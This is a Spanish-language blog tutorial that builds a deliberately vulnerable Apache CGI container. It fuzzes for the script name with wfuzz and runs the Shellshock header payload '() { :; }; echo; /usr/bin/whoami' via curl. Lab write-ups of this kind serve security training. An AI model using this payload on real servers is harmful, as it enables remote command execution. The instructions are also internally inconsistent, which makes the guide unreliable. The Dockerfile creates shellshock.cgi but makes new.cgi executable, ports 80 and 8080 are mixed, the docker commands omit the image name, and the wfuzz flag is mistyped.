Post

Laboratorio - ShellShock

Esta vulnerabilidad afecta a bash antiguas y se aprovecha del funcionamiento de CGI. CGI permite ejecutar scripts externos, usualmente escritos en bash, cmd, perl y cgi, permitiendo a un atacante ejecutar comandos modificando la cabecera User-Agent en una petición enviada al servidor

  • Laboratorio 🔬
  1. Crearemos un archivo Dockerfile con el siguiente contenido
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Base image
FROM ubuntu:12.04.5
# Actualizar paquetes y herramientas
RUN apt-get update && apt-get upgrade -y
# Instalar Apache y configurarlo para ejecutar CGI
RUN apt-get install -y apache2 && \
    a2enmod cgi
# Crear un archivo CGI vulnerable a Shellshock
RUN echo '#!/bin/bash\necho "Content-type: text/html"\necho\necho "<html><body><h2>Shellshock Vulnerable CGI</h2><pre>"\necho\necho "Vulnerable to Shellshock"\necho\necho "</pre></body></html>"' > /usr/lib/cgi-bin/shellshock.cgi && \
    chmod +x /usr/lib/cgi-bin/new.cgi
# Exponer el puerto 80
EXPOSE 80
# Iniciar el servidor Apache al ejecutar el contenedor
CMD ["apache2ctl", "-D", "FOREGROUND"]

a. Creamos un imagen **docker build -t .**

b. Desplegamos el contenedor **docker run -d -p 80:80 **

  • Veremos que ya tenemos un servicio Apache ejecutandose en nuestra máquina host en el puerto 8080

  1. El directorio que aloja los scripts que se van a ejecutar es /cgi-bin/, si accedemos a el veremos un código de estado 403 Forbidden, esto nos indica que el directorio existe pero no tenemos capacidad de listar su contenido, sin embargo, si conocemos el nombre de un script podemos acceder y ejecutarlo.

  2. Como no conocemos el nombre de un script, lo que haremos es fuzzear por nombres y posibles extensiones (Esto solo por practicar, ya que en el archivo Dockerfile está el nombre del script)

1
2
3
4
wfuzz -c -t 100 --hc=404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -z list,cgi-sh-pl http://localhost/cgi-bi
n/FUZZ.FUZ2Z

000000055:   500        16 L     77 W       607 Ch      "new - cgi"

Encontramos un script con nombre new.cgi

  • -c: Formato Colorizado. 🎨
  • **-t :** N Hilos a usar. 🧵
  • –hc=4040: Oculatamos las respuestas con código de estado 404 Not Found. ❌
  • **-w :** Indicamos un diccionario para que fuzee.
  • -z list,cgi-sh-pl: Indicamos las extensiones por las cuales fuzeará.
  • http://localhost:8080/cgi-bin/FUZZ.FUZ2Z: FUZZ -> Nombres del diccionario, FUZ2Z -> Cada extensión indicada.
  1. Ahora ya podemos llevar a cabo el ataque Shellshock, sacamos el payload de este post, usaremos cURL
  • Comando: curl -s -X GET "http://localhost/cgi-bin/new.cgi" -H "User-Agent: () { :; }; echo; /usr/bin/whoami"

  • Recomendaciones
    • Esta vulnerabilidad se da únicamente en versiones muy antiguas de bash.
    • Si no vemos el output del comando, debemos añadir uno o dos echo;.
    • Si queremos ejecutar cualquier comando es recomendable hacerlo con su ruta absoluta.
This post is licensed under CC BY 4.0 by the author.